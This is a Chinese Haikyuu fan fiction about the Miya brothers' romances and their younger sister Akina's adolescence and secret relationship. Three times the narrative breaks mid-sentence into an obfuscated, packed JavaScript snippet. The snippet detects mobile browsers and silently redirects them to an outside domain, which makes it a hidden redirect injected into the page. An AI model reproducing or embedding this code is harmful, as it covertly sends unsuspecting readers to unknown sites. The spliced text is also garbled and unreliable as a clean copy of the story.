当然,这对秋奈来说没什么影响。她两场都不会去。且不说和一群大她八九岁的哥哥姐姐们在一块儿会让她觉得不自在,两位哥哥每次过生日请的同学里,或多或少都隐藏了一点少男情怀,带妹泡妹,不是明智之举。 直到宫治高三的生日,他邀请了同学来家里庆祝,自己亲自下厨。爸爸妈妈为了给宫治腾地方,特意外出,就留下一个秋奈守家顺便参加了宫治这次的生日会。 人类的悲喜并不相同这句话在秋奈身上再合适不过 她就像尊菩萨一样坐在客厅看着那群热闹的大小伙忙 进忙出。客厅与厨房形成了一条鲜明的分界线,一边火,一边冰。 “喂,治…你妹妹是不是不欢迎我们来啊……” 忙着和锅碗瓢盆战斗的宫治笑笑说,“别看她脸臭,她其实是在害羞。” 六男三女,两个女生打气球,两个男生布置场地,两个男生搬弄桌椅,剩下的一女两男在厨房打下手。 秋奈看着厨房里的帮忙的女生,和宫治有一种说不出的默契。那个女生但凡多做点什么,宫治发现后都会把活匀给边上的两个男生。 导致那俩苦力阴阳怪气各种叫苦连天,“诶?治…太不公平了吧……” “是啊是啊,偏袒过头了吧。我们来这是来吃你的蛋糕的,不是来吃柠檬的。” 女孩子脸红的厉害,在那俩男生的一唱一和的搭腔下忙不迭地逃离了现场,去了其他地方帮忙。 宫治挨个给了他们一人一脚威胁,“再多说给你俩喝西北风。” 宫治殊不知自己的耳根也早已红透 这个女孩不像侑带回来的女孩那般,又瘦又高,个个精致得像洋娃娃。 她体态微胖,每块肉肉却分布得十分匀称,五官没有特别突出的地方,组合起来又给人舒适邻家的感觉,尤其是她微笑的时候。特别有感染力,再陌生的关系仿佛都能够一瞬间被她的这一笑容拉近距离,亲和力max。 这一点,在她进门与秋奈打招呼的时候,秋奈深以为然。 秋奈的眼睛,总是不自觉的随着那个女孩的移动而移动,这种特殊吸引力对秋奈来说很新鲜。 当然过于明目张胆的长时间注视,总是容易被抓包。然而那个女孩每次发现秋奈在盯着她看的时候,她都会停下来笑着朝秋奈打招呼。 秋奈发现自己被抓包时表面上波澜不惊,但内心早就窘迫得想挖地洞钻了。秋奈死要面子,面对那个女孩的示好,她只是默默的移动在沙发上的坐向躲开女孩的目光,假装自己毫不在意。 [眼睛笑得像小月牙一样的女孩,如果是我姐姐就好了] 秋奈想要姐姐,这个愿望在长年累月被哥哥压迫的情况下,愈发强烈 “肥,过来坐我这。”所有饭菜都准备就绪,大家纷纷上座准备开动,面对宫治的邀约秋奈选择了无视。自顾自的搬起一条凳子走到饭桌的另一头,众人看着秋奈朝着目标越走越近不自觉起哄 “诶——治,你被你妹妹嫌弃了,超逊哦~” 宫治无奈的耸了耸肩笑说,“在她面前我一直都很逊。” 眼看秋奈选定座位,挤进了小姐姐堆里,尤其还是“那个”女孩的身边,众人又纷纷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293743|167042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝宫治投去赞许的目光 孺妹可教也 一个男生偷偷凑到宫治边上说耳语,“不愧是兄妹啊,挑姑娘的眼光都一模一样。” 这回宫治没有反驳,而是略带骄傲地肯定了他的说法,“那是。” 这简短的两个字,尾音无限上扬。 “我叫秋奈。不叫肥。”秋奈操着童音认真地做着自我介绍,顺便表达了她对自己小名的不认可。 “我叫吉原小春。秋奈很好听,肥也很可爱。两个都是很棒的名字哦。” “嗯。”秋奈平淡的应了应,没有再表达出什么情绪。吉原怕秋奈个子小够不到菜,很热情的一直在往秋奈的盘子里夹,然而秋奈面对满盘子的菜依然不为所动,连筷子都没拿。 吉原有些担心,“小秋奈不喜欢吃吗?” 秋奈只是摇摇头,“没。治做的,我都喜欢。我只是在想一件事情。” 秋奈转过头,吉原看她一副欲言又止的样子好像是有什么悄悄话要对她说,于是就主动把头靠近了秋奈。 于是秋奈趴在她的耳边,说下了一句她盘算了一整天的话。 宫治注意到,吉原听完秋奈的悄悄话后面色异常绯红。赶紧打断了角落里两只老鼠的小偷小摸 “肥,你们在说什么?” 秋奈对此表示很不满,傲娇得朝他吐了吐舌头,“不告诉你。” 吃饱喝足后,这群人还忙着赶KTV的局,风风火火的出了门。直到十一点左右,宫治才回来。 宫治到了二楼发现秋奈的门缝里透光,便敲了敲门确认,“肥,我进来咯。” 秋奈没有睡,而是在一个日记本上奋笔疾书。看得出来她今天心情很好,对宫治的半夜叨扰没有反感。 宫治坐在了秋奈的床沿上,神情略微不自然,试探性地问到,“你今天和吉原姐姐说了什么呀?” 秋奈当时不说,是因为是公众场合,说出来不方便,现在是私下谈话,她没有掩藏很快就交代了实情。 “我说,我喜欢她,我想让她做我嫂嫂。” 宫治再也绷住不,嘴角疯狂上扬 “那……她怎么回答?” “她说,只要你愿意告白,她就愿意做我嫂嫂。” 宫治捧着秋奈肉乎乎的脸按捺不住愉悦的心情一阵狂rua,秋奈被揉得晕晕乎乎的,嫌弃地挣脱开,“治你干嘛呀!” 宫治停下“暴行”,替她整理好被蹭乱的头发,郑重其事地宣布,“肥,你有嫂嫂了,她也很喜欢你。” “治!我现在终于知道,什么是好吃不如饺子,好玩不如嫂子了!” 欢愉的气氛没能维持多久,宫治的一记手刃落在了秋奈的天灵盖上 “这话不是这么用的,收回去!” 秋奈偏科…偏去了太平洋。 5. 秋奈的大嫂 #兵不厌诈(关于大嫂) 在宫侑25岁——正式把女朋友介绍给家里人前,秋奈都觉得她这辈子都不会有大嫂。 甚至在宫侑婚礼开场前一个钟头,她在新娘化妆室还偷偷地问准大嫂,“你要是后悔还来得及,我可以帮你逃婚。” 尽管这不厚道,但她真的很担心大嫂是被他哥拿刀架在脖子上威胁才被迫答应的求婚。 大嫂哭笑不得,“我要是逃婚,你哥得上推特热搜第一吧。虽然我希望他能登顶世界第一,可不是用这种方式。” 秋奈忽略掉了一件事,就算逃婚大嫂还是大嫂。婚礼只是一个形式,早在半年前,大嫂就已经入籍宫家了。 她愿称她大嫂为地表最强的女人,能驯服宫侑这匹野狐着实不易。他们经历了十一年的爱情长跑才走进了婚姻的殿堂,巧合的是,她大哥二哥的爱情全是从校服变成了婚纱,从一而终。唯一的区别是,一个英年早婚,一个因为职业选手的关系晚婚。 宫侑高二的时候,满世界敲锣打鼓的宣告是大嫂追得他。秋奈听到后对此置之不理,只在心理暗自吐槽 [这家伙又吹牛逼了] 然而事情的真相,确实如宫侑所说,大哥和大嫂之间的第一步,是大嫂先抛出的橄榄枝。 高二的一次期中考试前,宫侑被北队告知,如果这一次还是和前几次月考时一样的烂成绩,那假期的集训,没有办法继续参加,甚至还会影响到日常的训练。 面对如此严峻的情况下,宫侑深知临时抱佛脚已经挽救不了他的狗屎成绩。正所谓富贵险中求,只能用最后的办法放手一搏了。 “这次考试坐你前面的,是咱们年级前十的学霸,你去出卖个色相人家就愿意帮了。” “那么肤浅?” 没错,就那么肤浅。 “我可以帮你,前提是你得和我约会。”她面对来势汹汹的一米八几的大狐狸毫不怯弱,一副镇定自若的样子抛出交换条件与宫侑谈判。 不就是约会一次吗?这不是宫侑抛开排球最擅长的一件事了吗,可当约会变成一种交换条件时,它就变味儿了。宫侑不由得产生了一种卖身求荣的屈辱感。 不过现在紧急关头,舍不孩子套不着狼,舍不得自己套不着答案。宫侑一口答应 “成交。” 那天出了考场,丢完这最后一门英语的重担,宫侑浑身轻松,宛如孔雀开屏一般在考场口忍不住得意 “这次英语,最低八十,分数不能再少了。” 忽然他又想起了什么,最后提了一句 “诶,对了,你小抄上阅读理解最后一个选择题的答案没写啊。不过没关系,才两分。不打紧。” “哦,我是第一题没写,不是最后一题。” 宫侑脸色顿时黑了半边 “最后一篇阅读理解的第一题?” “不是。”大嫂意味不明地勾勒起嘴角,以胜利者的姿态看向宫侑,用最轻飘飘地语气说下最具有冲击力的话 “是听力第一题。” 艹! 事情以宫侑最后的填词和用大嫂来不及抄写完全的半篇作文,以及瞎猫碰着死耗子偶然对上坑的选择题的31分作为结尾。 宫侑跪坐在北队前奉献上自己惨烈的英语试卷,万念俱灰,心中已经做好了接受圣经洗礼的准备。 他甚至都已经想好,最后该如何死缠烂打求北前辈特赦他这一次,求老师补考宽容一些。 北前辈面对这张近乎全错的试卷沉默半晌,却意外的肯定到 “有进步不是吗?你可以参加集训。下次继续努力啊。” 众人惊,宫治在边上连瓜子都准备好,打算一边看戏一边磕,结尾拐弯属实意料之外。 宫侑眼泪鼻涕一把流,原地拜了三拜,直呼北前辈活佛转世。 —— 大嫂一直宣称自己是头一次搞传答案的事情,一时紧张给手快抄错了。 面对这样的解释宫侑自然不会原谅,他都献身约会了结果换来个全错的答案,谁能忍?谁能原谅? “那不是后面的主观题都对了吗?我请你吃一礼拜的饭,将功补过怎么样?” 一礼拜,他宫侑是会为了一礼拜的饭放下原则的人吗? “一个月!”宫侑愤愤然 大嫂咧嘴刚想点头说好,宫侑一看这人怎么笑眯眯的,心想果然是自己惩罚太轻,对她来说不痛不痒。连忙改口加码。 “没完呢!你还得任我差遣一个月,随叫随到,我要你做什么你就做什么,我要你往西,你决不能往东。” 结果,大嫂嘴巴咧得更开心了,忙不迭地答应,“好啊。” 事情的发展远没有宫侑想象的舒服,在这一个月形影不离的相处中,宫侑不仅把大嫂看顺眼了,还看对眼了。 在他们交往的第三个月,宫侑在某一个风和日丽的周末叩开了大嫂的家门准备接受女朋友爱的抱抱 当他见到开门的人那一瞬间几乎原地去世 “北…北…北前辈?!” 宫侑震惊到舌头都捋不直,这是来自灵魂深处的颤抖,含糊不清地发问 “你你你你…你怎么会在这里?” “我是她堂哥。” 她堂哥…… 堂哥…… 哥…… 其实恋爱路上哪有这么多顺其自然,只是你一直走在坑里,浑然不知罢了。 大嫂和北信介是堂兄妹关系,大嫂在观战一次次的排球比赛中喜欢了这个张狂的幼稚鬼。她知道,宫侑站在顶峰,他是卓越的运动员。如果自己不是同等的优秀,那她连与宫侑在同一个水平线上会面的机会都没有。她因为宫侑优秀被吸引,同样,她也需要用优秀去吸引宫侑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293744|167042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在经过一年的埋头苦读后,大嫂等到了成熟的时机,决定另辟蹊径,串通北前辈编织“停训”危机,给大嫂创造了接近宫侑的机会。 正所谓,天时地利人和,一切都是计划之中。 艹!你个瘪三算计我?! 面对宫侑这样的质问,大嫂只是淡然笑之 “愿者上钩。” —— 秋奈与大嫂的第一次碰面纯属巧合 秋奈是小学生出游,宫侑是情侣约会,秋奈刚和小伙伴进甜品店的门,就看见靠窗的那一桌情侣正你侬我侬的搞互喂。 好他妈辣眼睛,看完折寿十年。 秋奈扭头就想走,打算假装没看到,就像一阵风,轻轻地来轻轻地走,不带走一片…… “哎秋奈酱!那个黄不拉叽的人不是你哥嘛!” 一位热心的小伙伴用自带八百倍扩音效果的大嗓门毫不留情的戳破指出,“干嘛走啊?” 秋奈脚才跨出门半步,就把脚收回来对着那位大嗓门同学一通急瞪眼。随后恼怒的一跺脚发起了闷气。 大嫂捂嘴偷笑,宫侑尽管很想把那个小孩抓过来教育但碍于在女朋友的面前只能故作大度,上前把那群小孩招呼过来,然后钱包大出血。 “肥,你别老皱着眉头,本来就五官紧凑,这一皱更挤了。” 秋奈墩墩实实地坐在位子上发闷气的样子着实可爱,大嫂忍不住率先打招呼,“你好啊秋奈,我是森川杏子。” “……” “啧,小屁孩,有没有礼貌?” “姐姐好。” 说完后的下一秒,秋奈就吃了宫侑一个脑瓜蹦 “叫什么姐姐,叫大嫂!” “……”秋奈本来就气,现在气上加气,更不愿意开口了。 大嫂在桌底下踹了宫侑一脚,以示提醒,“你凶她干嘛?” 宫侑弱弱地辩解道,“……我没有……” 后来,趁着宫侑上厕所的间隙,秋奈终于肯开金口,打破她与大嫂零交流的僵局 “你……真的是侑的女朋友?” 大嫂对这个问题来得新鲜,便反问探寻她这个问题的意思,“我看起来不像吗?” “不像。” “那…做侑的女朋友应该是什么样的啊?” 秋奈脑子里浮起前几年出现在他哥哥身边的莺莺燕燕,绘声绘色地描绘“大欧派的洋娃娃。” “还有吗……?” 大嫂表面上不动声色地慢慢引导,其实内心对宫侑已经重拳出击 “擅长撒娇。” “还有吗?” “还有……她们都特别会忍。” “忍什么?” “侑他……jio臭!” 宫侑永远都想不明白,为何那天吃完甜品后老婆会如此生气,差点因为自己的汗脚分手。 6. 秋奈的青春期 宫侑自从开始职业运动选手生涯后,一年回一次家已是奢侈。他当年允诺秋奈的“来年再战”一次都没实现。这三年里家里少了个侑虽说地球还会转,但在过年时分仍免不了几丝清冷。 秋奈心生怨怼,给自家大哥安上了[卷钱跑路的家伙]这样莫须有的罪名。 这次宫侑回家距离上次,已经有一年半。或许是他小瞧了发育的力量,或许是他小瞧了宫治喂养的力量,他站在玄关口和一个陌生女孩面面相觑,发出灵魂拷问: “美女,你谁?” 站在他面前手里捧着半个西瓜的“陌生女孩”,身形高挑瘦削,黑色如瀑的长发垂落在腰间,女孩眉眼并不属于抓人眼球的惊艳型,她眼形细长,眼尾上扬。具有猫眼的深邃,散发着与她这个年龄不符的性感、迷离、遥远、和冷漠。 女孩朱唇轻启,脸上看不出任何的情绪,波澜不惊地丢出俩字儿 “有病?” 尽管外貌上发生了质的改变,可是这刻在DNA里的蔑视和冷淡,让他一下子回过神来 ——这是我妹妹?! 这……这显然画风不符啊? 嗯?我妹妹呢?我那么大的一个年画妹妹呢,我那个手感一流,超级好rua的妹妹呢? 秋奈讨厌被人用这种诧异的眼光审视,因为在国中升高中的那个暑假后,几乎所有认识她的人都对她投来了这种令人不快的审视。 “治在楼上。” 秋奈说话向来能少说就绝不多说。她简要输出关键信息,就把宫侑晾在了玄关里,自己走进了客厅开始独享西瓜。 宫侑二话不说大跨步跳上了楼梯,那冲出去要兴师问罪的气势就差把门给踹开了。宫治没给他这个机会,因为他正开着门帮他积灰的下铺换床单。 “宫治!我让你好好照顾她,你怎么喂孩子的啊?看把咱们肥给饿的,都瘦的皮包骨了!” 其实宫侑的形容多少有些失真。秋奈虽说是瘦,绝非瘦成人干那样的干巴,而是瘦的恰到好处,身形十分匀称。只是对比曾经肉乎乎的状态,反差过大,在还未从视觉冲击里接受过来的宫侑眼里,她妹现在的状态就是一颗没吃过饱饭的小白菜。 “……烦死了你!你一年到头不着家,怎么喂养她还用你来教我?青春期啊青春期懂不懂?我给她吃多少东西她都不长肉,蹭蹭的往天上蹿个儿拦都拦不住。可不得瘦下来了吗……” “你这人怎么回事儿,她没发育的时候你嫌她胖,她现在变瘦了变漂亮了你又嫌她营养不良。” 宫治从来都不觉得秋奈胖。他认为那只是短暂的婴儿肥,到了一定年纪自然而然就能消退。所以对秋奈青春期发育的变化,他很坦然地就接受了。在他眼里,这不算什么逆袭改变,只是自家妹妹的美貌还原罢了。 “她现在多高了?”宫侑避重就轻,又问 “一米七一。我估摸着她还能再长个一两公分。” “长什么长,以我国民情来说,女孩长太高总是容易在学校被人取外号的。” “你说不长就不长?收起你那副指点江山什么事儿都要掺和一脚的嘴脸吧。” “长兄如父懂不懂?我这颗老父亲的心全为她操碎了,你是二哥……” 宫侑眼咕噜子一转,撇下一句,“小妈做派,慈母多败儿。” 秋奈青春期的变化堪称整容级别。一个全新的美人外貌自然吸引到了不少青春少男的追求。 她的第一次恋爱来得潦草,去的也潦草。对方是大他一届的高中学长。男生追求女孩子,越难追,越不搭理他,他的征服欲就更强。秋奈的个性慢热,在熟悉某一个人之前她都是一副“生人勿进”的表情,尽管她没有恶意,可还是会散发出一种不好相处的疏离感。那位学长被她这份高岭之花的冷淡迷得七荤八素。 在半年的时间里,学长一顿穷追猛打才终于攻克下这座冰山。正式交往一个月后,学长发现秋奈给他的回应比他想象中的要多,这让他有种理想破碎的感觉。他并不喜欢真实的秋奈,长时间的追求只是好胜心作祟。而当秋奈真的放下表面的冷淡和盔甲,开始展现女孩柔软的一面时,这让他觉得秋奈很麻烦。学长充分诠释了,什么是男人的劣根性。 得不到的才是最好的,一旦到手他就不会珍惜。交往第二个月,学长就开始寻找新的猎物。在被冷置一个月后,秋奈“被分手”。 “其实我也没怎么喜欢你,你和我想象的样子不太一样。” 荒唐 宫治给秋奈做了大半天思想工作,才引导她把这几天情绪异常的心结所在说出来。那天他没有对秋奈说什么长篇大道理,也没有张口唾骂渣男。只是照常给她温了一杯牛奶,嘱咐几句早点睡后就走了。 三天后,学长扭扭捏捏地出现在了秋奈的班级门口。这是他们分手后第一次见面。 “宫,对不起。没想清楚是不是真的喜欢你就对你出手,是我的错。我真错了,你能不能……别让你哥再扒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293745|167042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我裤子了。” “哥……哪个哥?” 这最后半句话里要素过多,秋奈实在是不知道该从那个字眼开始扒,只能抓个最疑惑地的点来问。在她的认知里扒裤子这种流氓的缺德事儿只有他大哥能干的出来。可是她从没有对他大哥说过这件事,何况他人还在东京,也没听爸爸妈妈提起他回来过。而且学长对秋奈的家庭结构并不了解,只知道她有哥哥。却不知道有几个。家里人一年到头都见不到宫侑一次,何况是外人。那么指向的就只有一个了…… “还能有谁,当然是你那个开饭团店的哥哥。”学长说到宫治人就犯怵,声音不自觉呜咽了起来,“捏饭团的力气那么大的吗?弹棉花的都没他这劲儿……” “哦,他以前打排球的。”秋奈身后渐渐升起底气,她觉得还有恐吓的余地,于是又补充道,“主攻手。” 言下之意是,你自求多福。 “前辈,我也没怎么喜欢你。我会比你对这段关系上心,是因为我知道什么叫责任。至于我这段时间会低沉,不是因为你给谁递了情书,又或是和谁当街搂搂抱抱。我只是觉得,你让我很丢脸。” 面子大过天。 “我不想把事情闹的太难看,如果学长不去澄清你散播的“我缠着你不放”的谣言,我还让我哥扒你裤子。”秋奈一字一顿,“全扒。” 好家伙,宫家三子,扎堆流氓。 学长连连点头答应,毕竟出校门就被一个健硕的成年人拦住去向,拷问:“小子,你抗揍吗?”这样的人生阴影不想发生第二次。 —— 秋奈的大学在东京,由于整个宫家就只有大哥定居东京方便照顾秋奈,宫侑自然而然就把自己放上了第一监护人的位置。 宫侑早就料到秋奈想甩开他独居,于是就事先帮秋奈物色好他自己心满意足的房子,撺掇自己老婆去和秋奈说,这是嫂子帮她找的房子,价格合适,交通方便,信服度瞬时提升百分之二百。 而当秋奈真正搬入这个高级公寓时她发现,她的邻居是她哥。 “退租可以啊,违约金自己付啊。” …… 在高额违约金的压迫下,秋奈一下子就想通了,跟谁过不去都不能跟钱过不去。宫侑训练早出晚归,出去打比赛一走就是十天半个月的,约等于宫侑不存在。这种情形下,还有不用自己付房租的高级公寓住它不香吗? 一开始香,而后来一言难尽的转折则是在秋奈有了自己的小秘密后 7. 秋奈的小秘密 秋奈的身高最终定格在172.4公分,说好的再长一两公分绝不长三公分。.宫侑觉得这个身高比上不足,比下有余。要是当年秋奈能勤奋点,跟着他去打排球。个子应该还能再拔一个度,就有点儿女排的意思了。 秋奈与宫侑做了邻居后,邻里间来往还算频繁。秋奈与大哥之间再深的沟壑,也挡不住大嫂用优秀厨艺架起的跨海大桥。成功促进了两户人家之间的友好往来。 “侑,你空着吗?”某天,日常蹭饭后秋奈反常的主动挑起话题。 吃饱喝足后的宫侑坐在阳台的藤椅上一边刷推一边吹江边迎来的晚风,惬意恣然。一线江景房就是爽。 “没空。” “……” 秋奈自动过滤掉这条垃圾回复,继续说自己的。 “也没什么事,就……我有个朋友有,有点事儿想让我咨询你。” 宫侑熟练的掏出一张亲笔签名照塞给秋奈,“喏,拿去。没下次啦昂~” “不是……” “下场比赛我手里的票早送光了,让她去买黄牛票吧。” “不是……她想问感情问题。” “感情问题找我干嘛?” “问题挺难的,我也不太懂这些。男生的心思,男生应该会懂。毕竟你…经验丰富,就想来问你了。” “哎哎哎——屎可以乱吃话可不能乱讲啊!”宫侑心虚的往室内张望,还好房子够大,阳台和厨房的距离差了一个光年。大嫂听不到。确认无误后,转头就弹了秋奈的脑门,“我的情史清白的很,你别污蔑人。” 宫侑自从稳定了交往对象后,就试图抹杀当年一个月换一个女朋友的黑历史。到处此地无银三百两,逮着谁都要说几句 “我就交往过杏子。” “杏子是初恋。” “情史?杏子一个人就是我的全部情史。” “一个月一个?这位同学,请你不要把我和宫治搞混,我很有原则,我很爱我女朋友,我们感情非常好。讨伐渣男请移步隔壁班找银发混蛋。” 自欺欺人最的最高境界,就是周围没一个人信,但是自己深信不已。宫侑他做到了。 “你问我就得答?多没面子啊。”是很没面子,平常被无视的那个人总是自己,现在好不容易出现反转的机会,宫侑可不得抓紧得意一把。 “好吧,那我去找治。” “你回来!”这一招可谓是百试不爽,用宫治做对比就能把宫侑这个好胜心强到爆的幼稚鬼吃得死死的。 “你这什么朋友啊,找你这个石头人问感情问题。” 秋奈支吾其词,“香香。我大学同学……” “看来你们关系不错,你挺喜欢她的吧?” 秋奈点点头,宫侑在了解到秋奈的一些社交状况后心满意足终于肯回答问题,“说吧,香香遇到了什么难题。” “她暗恋了一个大哥哥8年。” 一听这第一句话,宫侑心里十拿九稳。这个剧本太常见了,常见到当代年轻人十个里有十个这样的烦恼。 “大哥哥……多大?” “他今年29。” “你朋友喜欢老的啊?” “他不老!”宫侑的这句话莫名踩了雷,秋奈看起来有些急眼,忙做争辩,“香香喜欢他的时候他才21岁。是……是香香太小了。” “行行行,不老不老。又不是你喜欢的对象,上赶子替他说话干嘛呀……”宫侑后边也就不扯皮了,开始正经作咨询,“你见过那个你朋友的暗恋对象吗?咱们得具体问题具体分析。” 秋奈点头,表示见过。 “那你给说说他是个什么样的人。” “他很优秀,优秀到让人难以企及。他也很冷漠,冷漠到让人难以靠近。他像四季的冬,他是零度的冰。他是个矛盾体简单又复杂。他是个连空气都会厌恶的人,我……我朋友总是猜不透除了他从事的领域外,还能有什么让他投入热情。” 29岁,冷漠,难以靠近,厌恶空气,注重个人卫生这些关键词的结合,宫侑脑中逐渐具象化出了一个老熟人。这让宫侑原本大好的心情变得沉重了起来。 “嘶…你说的这个非人类我怎么好像认识啊?” “他比你帅。”秋奈接着补充 “这种人能存在???” 宫侑发出来自灵魂的质疑,同时他秒速排除了这个人他认识的可能。毕竟在他的认知里全日本他最帅。他甚至又开始怀疑这个人是不是他妹妹编出来的,毕竟他确信无疑,全日本真的没人比他帅了啊…… “…………存在。”秋奈予以肯定句掐断他跑题的思维,以她对宫侑的了解,如果不及时给他浇冷水,他这份自恋的柴火只会越烧越旺,他只会纠结在他是不是最帅的问题上。 “所以我朋友很自卑。就……现在不知道该怎么办,总觉得自己是没办法和他在一起的,可是放弃又不甘心。” “不甘心就追。喜欢就要说出来,躲在角落里喜欢,他永远看不到你朋友的感情。你当人人都那么闲吗,会去注意一个小透明,揣测她是不是喜欢自己?” 有啊,你。 “追……女孩子追男孩子?”秋奈没有立即追问具体该怎么做,而是显得迟疑和犹豫。“可……” “可你觉得女孩子不该放下身段,矜持主动出击,因为这样很丢面子?”宫侑一下子就看透了她妹妹的想法。 秋奈这次没有反驳,宫侑确实是说出了她的心里的真实矛盾。 宫侑收起吊儿啷当的笑,莫名严肃了起来,颇有一副要教育秋奈的严父姿态 “肥,今天哥哥免费教你一个道理。有本事的都不要脸,没本事的都要脸,死在哪里都不要死在别人嘴里,没有结果的尊严一文不值 。” 说到激动处,他还非拿要把讲过八百来回的旧账重新翻一遍。 “别的不提。就拿你大嫂举例子。当年她为了得到我,那叫一个不择手段,处心积虑。先是诓我和她约会,然后又给我一份全错的答案,最后已退为进引诱我和她朝夕相处,这种遭天谴的事儿我都不敢干。” “可你还不是被我嫂子迷得不着五六的。” “因为你嫂子牛逼啊。你看,这就是结果。所以你告诉香香,人就这么一个,暗恋了七八年如果是因为觉得主动丢面子那她活该永远得不到自己想要的。 “人啊,这辈子总得为某一件事为某一个人去撞一次南墙,哪怕头破血流,起码你已经尽你所能努力过。总比以后想起什么都没去争取而追悔莫及的好。在这个世界上,没有追不到的入江直树,只有不努力的相原琴子。” 悟了悟了 —— 宫侑难得休假,大嫂当天晚上大展厨艺,秋奈在厨房里一同帮忙。宫侑也不闲着,拿了一袋芹菜在客厅边看电视边磨洋工,秋奈放在客厅桌面上的手机进来了一通电话。宫侑扫了一眼,看见来电显示标注了“香香” “肥,有电话。” “谁啊?”厨房那边还挺忙,秋奈连个探头的时间都没有 “香香。” 话音刚落,秋奈飞速冲出厨房拿走手机,她向来波澜不惊的脸上难得出现了一丝紧张和慌张。她没有立刻接通电话,而是跑去了阳台才接听。 大概过了小半个钟头,秋奈才结束这个电话。尽管不明显,但宫侑还是察觉到了秋奈隐藏在冷面下的小雀跃。 “聊什么呢这么开心?是不是香香成功了?” “没。” “那还聊这么久……话说这香香不行啊,都一年了还没追到手。” “哦,刚刚妈妈也给我打了通电话。她让你赶紧生孩子,二嫂嫂都怀三胎了。你要是不行,就去男科看看。” 咱妈真这么说?无论这话是不是出自亲妈之口,被质疑生育能力就是对他作为男人绝对的侮辱。 “你们懂什么!这叫享受过程,我要是想生,高中那会儿我就让她当奶奶了。”宫侑炸毛 秋奈没和他多做口舌之争,撩了撩头发后就留下宫侑一个人在客厅喋喋不休的作争辩,宫侑想着还是不解气,顺着秋奈进厨房的背影扔下一句 “我明天就生一个,让你寒暑春秋假全回来给我带孩子!perperper~” —— 黑狼队的团建向来凑不齐人。 首先是佐久早,缺席名单上的常客。 今天还出现了一个特例,宫侑。 宫侑表面上递出一份外交辞令,说是还有其他商务会面,然而事实上他是打算给自己留足时间回家和老婆破搞造人工程。 晚上11点35分,宫侑洗完事后澡打开推窗去了阳台吹风,企图缓和gc的余韵。房间内盘旋的温热的情息伴随这江风的倾入渐渐散去。 直到一对并行的男女走入他的视野中才让他彻底清醒过来。 他们保持着一个不远不近的微妙距离。宫侑住在11楼,小区内的灯光并不明亮,直到俩人停顿在公寓楼下宫侑才看清女孩是秋奈。 宫侑的脑子里拉响一级警报。 “老婆老婆!快把我的天文望远镜拿来!” “亲爱的,我们家没有这种东西。”大嫂顶着满脸问号走到阳台,想一探究竟他到底发现了什么要妖魔鬼怪。 “你看你看,那个是不是肥。” 大嫂顺着宫侑指的方向看去,由于光线实在是太暗,只能通过身形依稀辨认出是秋奈。 “是她,怎么了?” “她旁边,男的!”宫侑看大嫂这幅毫无察觉的样子急的直跺脚。 “男的怎么了?秋奈成年了,正常社交。而且这个男孩不是很贴心吗,知道送女孩子回家。” 是啊多贴心,都送到公寓楼下了,再差一步就要进家里做做了。 她身边的男孩比她高出了一个头,秋奈让别的男孩望而生畏的身高在这个男生面前就被衬得恰到好处。 宫侑预估,这小子起码一米九。 两个人似乎是在道别,就在宫侑巴不得跳下去听他俩到底在讲什么的时候他亲眼看见那个黑色高大的身体突然俯身靠近了秋奈。 秋奈似乎对此毫无准备,她的身体因为紧张极度僵硬。任由那个男生将她往怀里带。 两个黑色的一团,因为某个部位的连接,黏在了一起。 这个动作,他宫侑可太熟了,毕竟四个小时前刚刚复习过。 大嫂也是幸苦,体力恢复没多久,她就得用尽全力把这个唯恐世界不乱的老公往房间里拉。 如果不是大嫂及时制止,宫侑可真要隔着11楼往下大声恐吓,“把你丫的臭嘴从我妹妹脸上松开!” “你…你别闹了!” “不是……怎么是我闹了?你看见没,他俩接吻呐!” 宫侑撸起袖子就打算下楼逮那个不知死活的孙子。 大嫂扶额,“接吻怎么了?秋奈21了!她都上大学了谈个恋爱怎么了!你至于吗,谁谈恋爱不会接个吻啊?” 宫侑现在正在气头上,听不进任何道理,无论如何他都要去秋奈儿把事情问清楚。嫂子好说歹说才把宫侑劝住,让他先睡一觉明天再去。嫂子心存侥幸,宫侑或许睡一觉败了火,就算要去捅破窗户纸,也不至于像现在这样尖锐。 宫侑睡一觉后全然忘记前一晚大嫂嘱咐的东西,这是大嫂万万没预料到的bug 宫侑上去毫无铺垫,直冲主题,打得秋奈猝不及防。 “你昨晚上在楼下干嘛?” “什么干嘛?” “装蒜?我都看见了,你和一男的亲一块儿了!你说,你是不是恋爱了?” “啊,是啊。” 秋奈这波毫无犹豫的的回答也是打得宫侑乱了阵脚。本来他还打算多盘问几个回合,哪想到秋奈承认的这么爽快。 “他丫的谁?” “香香。” 宫侑顿时感觉自己血压直线飙升。 他后知后觉,他被妹妹和香香耍的团团转。 —— 香香 